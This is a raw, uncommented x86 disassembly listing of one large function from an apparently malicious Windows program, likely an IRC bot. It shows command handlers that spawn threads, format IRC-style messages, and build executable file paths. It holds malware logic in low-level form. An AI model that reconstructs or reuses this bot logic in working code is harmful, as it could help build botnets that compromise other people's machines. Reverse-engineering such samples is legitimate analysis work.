		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		mov	esi, eax
		add	esp, 14h
		cmp	esi, ebx
		jz	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		push	ebx
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEBC[eax]
		call	sub_409A72
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43DCB0[eax], 73h
		jnz	loc_409854
		push	esi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43DEC8
		push	eax
		push	edi
		push	offset aSSS_1	; "[%s]	<%s> %s"


loc_407A35:				; CODE XREF: sub_401ACD+5E8Bj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 28h
		jmp	loc_409854
; ---------------------------------------------------------------------------


loc_407A62:				; CODE XREF: sub_401ACD+4ED1j
					; sub_401ACD+4EE8j
		push	[ebp+arg_10]
		call	dword_4CAFB4
		push	edi
		mov	[ebp+var_680], eax
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_690], eax
		call	sub_41B779
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_688], eax
		lea	eax, [ebp+var_710]
		mov	[ebp+var_714], esi
		push	eax
		call	sub_41B5F0
		add	esp, 14h
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_678], edi
		push	[ebp+var_688]
		mov	[ebp+var_674], eax
		push	[ebp+var_690]
		push	[ebp+var_680]
		call	dword_4CB000
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A3D8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_684], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_714]
		push	ebx
		push	eax
		push	offset dword_40C668
		push	ebx
		push	ebx
		nop
		call	near ptr 2670659h
		mov	ecx, [ebp+var_684]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_407B44


loc_407B2E:				; CODE XREF: sub_401ACD+6075j
		cmp	[ebp+var_670], ebx
		jnz	loc_403DA0
		push	32h
		nop
		call	near ptr 26705B3h
		jmp	short loc_407B2E
; ---------------------------------------------------------------------------


loc_407B44:				; CODE XREF: sub_401ACD+605Fj
		nop
		call	near ptr 2680000h
		push	eax
		push	offset unk_42A4CC
		jmp	loc_403D91
; ---------------------------------------------------------------------------


loc_407B55:				; CODE XREF: sub_401ACD+4EA3j
					; sub_401ACD+4EBAj
		push	[ebp+arg_10]
		call	sub_41B779
		mov	[ebp+var_112C],	eax
		push	7Fh
		lea	eax, [ebp+var_1230]
		push	edi
		push	eax
		call	sub_41B5F0
		push	[ebp+arg_0]
		call	sub_41B779
		mov	esi, [ebp+arg_4]
		add	esp, 14h
		mov	[ebp+var_1130],	eax
		lea	eax, [ebp+var_11B0]
		push	[ebp+var_88]
		mov	[ebp+var_1238],	esi
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	edi, [ebp+var_4]
		mov	[ebp+var_111C],	eax
		push	[ebp+var_1130]
		lea	eax, [ebp+var_1230]
		mov	[ebp+var_1120],	edi
		push	eax
		push	[ebp+var_112C]
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A39C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	18h
		push	eax
		call	sub_40B0F6
		add	esp, 24h
		mov	[ebp+var_1128],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1238]
		push	ebx
		push	eax
		push	offset loc_4103AA
		push	ebx
		push	ebx
		nop
		call	near ptr 2670659h
		mov	ecx, [ebp+var_1128]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_407C41


loc_407C2B:				; CODE XREF: sub_401ACD+6172j
		cmp	[ebp+var_1118],	ebx
		jnz	loc_403DA0
		push	32h
		nop
		call	near ptr 26705B3h
		jmp	short loc_407C2B
; ---------------------------------------------------------------------------


loc_407C41:				; CODE XREF: sub_401ACD+615Cj
		call	near ptr 2680000h
		nop
		push	eax
		push	offset unk_42A358
		jmp	loc_403D91
; ---------------------------------------------------------------------------


loc_407C52:				; CODE XREF: sub_401ACD+4E75j
					; sub_401ACD+4E8Cj
		push	0FFh
		lea	eax, [ebp+var_2878]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	0FFh
		lea	eax, [ebp+var_2778]
		push	edi
		push	eax
		call	sub_41B5F0
		push	[ebp+arg_0]
		mov	[ebp+var_2674],	ebx
		call	sub_41B779
		mov	[ebp+var_2670],	eax
		mov	eax, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	eax, ebx
		jz	short loc_407CAB
		push	10h
		push	ebx
		push	eax
		call	sub_41BDC5
		add	esp, 0Ch
		mov	[ebp+var_2668],	eax
		jmp	short loc_407CB1
; ---------------------------------------------------------------------------


loc_407CAB:				; CODE XREF: sub_401ACD+61C8j
		mov	[ebp+var_2668],	ebx


loc_407CB1:				; CODE XREF: sub_401ACD+61DCj
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	short loc_407CC8
		push	esi
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_266C],	eax
		jmp	short loc_407CCE
; ---------------------------------------------------------------------------


loc_407CC8:				; CODE XREF: sub_401ACD+61EAj
		mov	[ebp+var_266C],	ebx


loc_407CCE:				; CODE XREF: sub_401ACD+61F9j
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2664],	eax
		lea	eax, [ebp+var_28F8]
		mov	[ebp+var_28FC],	esi
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_265C],	eax
		mov	eax, [ebp+var_8]
		push	edi
		mov	[ebp+var_2660],	eax
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A32C
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_2C4]
		push	1Dh
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_2678],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_28FC]
		push	ebx
		push	eax
		push	offset loc_4163F9
		push	ebx
		push	ebx
		call	near ptr 2670659h
		nop
		mov	ecx, [ebp+var_2678]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_407D7F


loc_407D69:				; CODE XREF: sub_401ACD+62B0j
		cmp	[ebp+var_2658],	ebx
		jnz	loc_407278
		push	32h
		nop
		call	near ptr 26705B3h
		jmp	short loc_407D69
; ---------------------------------------------------------------------------


loc_407D7F:				; CODE XREF: sub_401ACD+629Aj
		nop
		call	near ptr 2680000h
		push	eax
		push	offset unk_42A2EC
		jmp	loc_407269
; ---------------------------------------------------------------------------


loc_407D90:				; CODE XREF: sub_401ACD+4E47j
					; sub_401ACD+4E5Ej
		push	7Fh
		lea	eax, [ebp+var_3490]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3410]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3390]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3310]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_328C],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3288],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_3494],	esi
		push	[ebp+arg_10]
		push	offset unk_42A2B0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	12h
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_3290],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3494]
		push	ebx
		push	eax
		push	offset byte_414A91
		push	ebx
		push	ebx
		call	near ptr 2670659h
		nop
		mov	ecx, [ebp+var_3290]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_407E67


loc_407E51:				; CODE XREF: sub_401ACD+6398j
		cmp	[ebp+var_3284],	ebx
		jnz	loc_407278
		push	32h
		call	near ptr 26705B3h
		nop
		jmp	short loc_407E51
; ---------------------------------------------------------------------------


loc_407E67:				; CODE XREF: sub_401ACD+6382j
		nop
		call	near ptr 2680000h
		push	eax
		push	offset unk_42A278
		jmp	loc_407269
; ---------------------------------------------------------------------------


loc_407E78:				; CODE XREF: sub_401ACD+4D1Aj
					; sub_401ACD+4D31j
		push	7Fh
		lea	eax, [ebp+var_3068]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_2FE8]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_2F68]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_2EE8]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2E64],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2E60],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_306C],	esi
		push	[ebp+arg_10]
		push	offset unk_42A248
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Eh
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_2E68],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_306C]
		push	ebx
		push	eax
		push	offset dword_4137CC
		push	ebx
		push	ebx
		nop
		call	near ptr 2670659h
		mov	ecx, [ebp+var_2E68]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_407F4F


loc_407F39:				; CODE XREF: sub_401ACD+6480j
		cmp	[ebp+var_2E5C],	ebx
		jnz	loc_407278
		push	32h
		nop
		call	near ptr 26705B3h
		jmp	short loc_407F39
; ---------------------------------------------------------------------------


loc_407F4F:				; CODE XREF: sub_401ACD+646Aj
		nop
		call	near ptr 2680000h
		push	eax
		push	offset unk_42A210
		jmp	loc_407269
; ---------------------------------------------------------------------------


loc_407F60:				; CODE XREF: sub_401ACD+4BF1j
					; sub_401ACD+4C08j ...
		push	7Fh
		lea	eax, [ebp+var_3CE4]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3C64]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3BE4]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3B64]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		push	20h
		lea	eax, [ebp+var_3AE4]
		push	[ebp+arg_8]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 3Ch
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3A64],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3A60],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_3CEC],	esi
		push	[ebp+arg_10]
		push	offset unk_42A1E0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Dh
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_3CE8],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3CEC]
		push	ebx
		push	eax
		push	offset byte_412A53
		push	ebx
		push	ebx
		nop
		call	near ptr 2670659h
		mov	ecx, [ebp+var_3CE8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_408048


loc_408032:				; CODE XREF: sub_401ACD+6579j
		cmp	[ebp+var_3A5C],	ebx
		jnz	loc_407278
		push	32h
		nop
		call	near ptr 26705B3h
		jmp	short loc_408032
; ---------------------------------------------------------------------------


loc_408048:				; CODE XREF: sub_401ACD+6563j
		nop
		call	near ptr 2680000h
		push	eax
		push	offset unk_42A1A8
		jmp	loc_407269
; ---------------------------------------------------------------------------


loc_408059:				; CODE XREF: sub_401ACD+4BC3j
					; sub_401ACD+4BDAj
		push	7Fh
		lea	eax, [ebp+var_1778]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	edi
		call	sub_41B779
		push	3Fh
		mov	[ebp+var_1628],	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_16F8]
		push	eax
		call	sub_41B5F0
		mov	esi, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	esi, ebx
		jz	short loc_4080A4
		push	3Fh
		lea	eax, [ebp+var_16B8]
		push	esi
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_4080A4:				; CODE XREF: sub_401ACD+65C3j
		lea	eax, [ebp+var_16F8]
		mov	[ebp+var_1624],	1
		push	eax
		lea	eax, [ebp+var_1778]
		push	[ebp+var_1628]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A178
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Fh
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_1620],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_177C]
		push	ebx
		push	eax
		push	offset sub_4017ED
		push	ebx
		push	ebx
		nop
		call	near ptr 2670659h
		mov	ecx, [ebp+var_1620]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_408130


loc_40811A:				; CODE XREF: sub_401ACD+6661j
		cmp	[ebp+var_161C],	ebx
		jnz	loc_406CDE
		push	32h
		call	near ptr 26705B3h
		nop
		jmp	short loc_40811A
; ---------------------------------------------------------------------------


loc_408130:				; CODE XREF: sub_401ACD+664Bj
		nop
		call	near ptr 2680000h
		push	eax
		push	offset dword_42A13C
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_408141:				; CODE XREF: sub_401ACD+4B83j
					; sub_401ACD+4B9Aj
		push	edi
		call	sub_41B779
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_1D64],	eax
		jle	loc_408234
		push	[ebp+arg_10]
		mov	esi, 80h
		lea	eax, [ebp+var_1EEC]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_1D60],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1EF0],	eax
		lea	eax, [ebp+var_1DEC]
		push	esi
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1D5C],	eax
		mov	eax, [ebp+var_8]
		push	edi
		mov	[ebp+var_1D58],	eax
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A110
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	15h
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_1D6C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1EF0]
		push	ebx
		push	eax
		push	offset byte_412E9D
		push	ebx
		push	ebx
		nop
		call	near ptr 2670659h
		mov	ecx, [ebp+var_1D6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_408223


loc_408211:				; CODE XREF: sub_401ACD+6754j
		cmp	[ebp+var_1D54],	ebx
		jnz	short loc_40828B
		push	32h
		nop
		call	near ptr 26705B3h
		jmp	short loc_408211
; ---------------------------------------------------------------------------


loc_408223:				; CODE XREF: sub_401ACD+6742j
		nop
		call	near ptr 2680000h
		push	eax
		push	offset unk_42A0D8
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_408234:				; CODE XREF: sub_401ACD+6683j
		push	offset unk_42A0A0
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_40823E:				; CODE XREF: sub_401ACD+4B55j
					; sub_401ACD+4B6Cj
		push	edi
		push	[ebp+arg_10]
		nop
		call	near ptr 2690C0Ah
		test	eax, eax
		jz	short loc_40826B
		push	edi
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_10]
		push	offset unk_42A07C
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	short loc_40828B
; ---------------------------------------------------------------------------


loc_40826B:				; CODE XREF: sub_401ACD+677Dj
		push	offset dword_42A070
		call	sub_41814C
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980


loc_408288:				; CODE XREF: sub_401ACD+2F2Aj
					; sub_401ACD+556Fj
		add	esp, 0Ch


loc_40828B:				; CODE XREF: sub_401ACD+2136j
					; sub_401ACD+2ECCj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4083BC
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]


loc_4082A8:				; CODE XREF: sub_401ACD+57C6j
		call	sub_409A72
		add	esp, 14h
		jmp	loc_4083BC
; ---------------------------------------------------------------------------


loc_4082B5:				; CODE XREF: sub_401ACD+4B27j
					; sub_401ACD+4B3Ej
		push	[ebp+arg_10]
		lea	eax, [ebp+var_3F04]
		push	104h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		cmp	[ebp+var_C], ebx
		jz	short loc_4082EF
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4082EF
		push	eax
		lea	eax, [ebp+var_3E00]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_4082EF:				; CODE XREF: sub_401ACD+6802j
					; sub_401ACD+6811j
		push	[ebp+var_88]
		lea	eax, [ebp+var_3F84]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_3F88],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_3CF8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3CF4],	eax
		lea	eax, [ebp+var_3E00]
		push	eax
		lea	eax, [ebp+var_3F04]
		push	eax
		push	offset unk_42A040
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	24h
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_3CFC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3F88]
		push	ebx
		push	eax
		push	offset byte_416CAD
		push	ebx
		push	ebx
		nop
		call	near ptr 2670659h
		mov	ecx, [ebp+var_3CFC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_4083A1


loc_40838F:				; CODE XREF: sub_401ACD+68D2j
		cmp	[ebp+var_3CF0],	ebx
		jnz	short loc_4083BC
		push	32h
		nop
		call	near ptr 26705B3h
		jmp	short loc_40838F
; ---------------------------------------------------------------------------


loc_4083A1:				; CODE XREF: sub_401ACD+68C0j
		call	near ptr 2680000h
		nop
		push	eax
		push	offset unk_42A004


loc_4083AD:				; CODE XREF: sub_401ACD+925j
					; sub_401ACD+A63j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_4083BC:				; CODE XREF: sub_401ACD+7E1j
					; sub_401ACD+94Cj ...
		push	1
		pop	esi
		jmp	loc_406D02
; ---------------------------------------------------------------------------


loc_4083C4:				; CODE XREF: sub_401ACD+4AF9j
					; sub_401ACD+4B10j
		push	44h
		lea	eax, [ebp+var_668]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41B590
		push	1
		mov	[ebp+var_668], esi
		pop	esi
		mov	[ebp+var_638], bx
		push	[ebp+arg_10]
		mov	[ebp+var_63C], esi
		call	sub_41B779
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_408403
		mov	[ebp+var_638], 5


loc_408403:				; CODE XREF: sub_401ACD+692Bj
		cmp	[ebp+var_C], ebx
		jz	loc_406CDE
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	loc_406CDE
		lea	eax, [ebp+var_E10]
		push	eax
		lea	eax, [ebp+var_668]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	esi
		push	ebx
		push	ebx
		push	edi
		push	ebx
		call	near ptr 2650BFCh
		nop
		test	eax, eax
		jnz	short loc_40844C
		push	offset unk_429FE0
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_40844C:				; CODE XREF: sub_401ACD+6973j
		push	edi
		push	offset dword_429FC4
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_408457:				; CODE XREF: sub_401ACD+4ACBj
					; sub_401ACD+4AE2j
		push	edi
		push	offset aDark	; "Dark"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085D0
		lea	eax, [ebp+var_48F0]
		push	eax
		push	104h
		nop
		call	near ptr 2690000h
		push	0FFh
		lea	eax, [ebp+var_25D0]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_17D0]
		push	eax
		call	sub_40AD80
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_48F0]
		push	eax
		lea	eax, [ebp+var_24D0]
		push	offset aSS_exe	; "%s%s.exe"
		push	eax
		call	sub_41B886
		mov	eax, [ebp+esi+var_84]
		add	esp, 10h
		cmp	eax, ebx
		mov	[ebp+var_23CC],	1
		mov	[ebp+var_23C8],	ebx
		jz	short loc_4084EC
		push	10h
		push	ebx
		push	eax
		call	sub_41BDC5
		add	esp, 0Ch
		mov	[ebp+var_23C0],	eax
		jmp	short loc_4084F2
; ---------------------------------------------------------------------------


loc_4084EC:				; CODE XREF: sub_401ACD+6A09j
		mov	[ebp+var_23C0],	ebx


loc_4084F2:				; CODE XREF: sub_401ACD+6A1Dj
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	short loc_408509
		push	esi
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_23C4],	eax
		jmp	short loc_40850F
; ---------------------------------------------------------------------------


loc_408509:				; CODE XREF: sub_401ACD+6A2Bj
		mov	[ebp+var_23C4],	ebx


loc_40850F:				; CODE XREF: sub_401ACD+6A3Aj
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_23BC],	eax
		lea	eax, [ebp+var_2650]
		mov	[ebp+var_2654],	esi
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_23B4],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_10]
		mov	[ebp+var_23B8],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_429F8C
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_2C4]
		push	1Eh
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_23D0],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2654]
		push	ebx
		push	eax
		push	offset loc_4163F9
		push	ebx
		push	ebx
		call	near ptr 2670659h
		nop
		mov	ecx, [ebp+var_23D0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_4085BF


loc_4085A9:				; CODE XREF: sub_401ACD+6AF0j
		cmp	[ebp+var_23B0],	ebx
		jnz	loc_406CDE
		push	32h
		nop
		call	near ptr 26705B3h
		jmp	short loc_4085A9
; ---------------------------------------------------------------------------


loc_4085BF:				; CODE XREF: sub_401ACD+6ADAj
		call	near ptr 2680000h
		nop
		push	eax
		push	offset dword_429F50
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_4085D0:				; CODE XREF: sub_401ACD+6999j
		push	offset dword_429F08


loc_4085D5:				; CODE XREF: sub_401ACD+2E73j
					; sub_401ACD+457Cj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_406CDE
; ---------------------------------------------------------------------------


loc_4085E8:				; CODE XREF: sub_401ACD+4A9Dj
					; sub_401ACD+4AB4j
		push	[ebp+var_8C]
		push	offset dword_42C930
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401E94
		cmp	[ebp+var_C], ebx
		jz	loc_401E94
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_429EF8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 28h
		test	eax, eax
		jle	short loc_408673
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 3E8h
		pop	ecx
		push	eax
		nop
		call	near ptr 26705B3h


loc_408673:				; CODE XREF: sub_401ACD+6B8Ej
		push	offset dword_429EE4
		call	sub_4151AC
		mov	eax, [ebp+arg_24]
		pop	ecx
		inc	eax
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_408687:				; CODE XREF: sub_401ACD+4A6Fj
					; sub_401ACD+4A86j
		push	[ebp+var_8C]
		push	offset dword_42C930
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401E94
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		inc	edi
		push	offset aRepeat	; "repeat"
		push	edi
		mov	esi, eax
		call	sub_41C070
		add	esp, 10h
		test	eax, eax
		push	esi
		jz	short loc_408745
		push	[ebp+var_88]
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_429EF8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		add	esp, 24h
		lea	eax, [ebp+var_2C4]
		push	esi
		push	offset dword_429ECC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h
		test	eax, eax
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		add	eax, [ebp+arg_24]
		pop	ecx
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_408745:				; CODE XREF: sub_401ACD+6BFAj
		push	offset unk_429E98


loc_40874A:				; CODE XREF: sub_401ACD+7542j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_408759:				; CODE XREF: sub_401ACD+74CAj
					; sub_401ACD+7623j
		cmp	[ebp+var_8], ebx
		jnz	short loc_40877A
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_40877A:				; CODE XREF: sub_401ACD+6C8Fj
					; sub_401ACD+72C7j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		jmp	loc_409853
; ---------------------------------------------------------------------------


loc_40878B:				; CODE XREF: sub_401ACD+4A41j
					; sub_401ACD+4A58j
		push	7Fh
		lea	eax, [ebp+var_2214]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_2194]
		push	edi
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_2114]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 24h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2090],	eax
		mov	eax, [ebp+var_8]
		push	edi
		push	[ebp+arg_10]
		mov	[ebp+var_208C],	eax
		lea	eax, [ebp+var_2C4]
		mov	[ebp+var_2218],	esi
		push	offset unk_429E64
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Fh
		push	eax
		call	sub_40B0F6
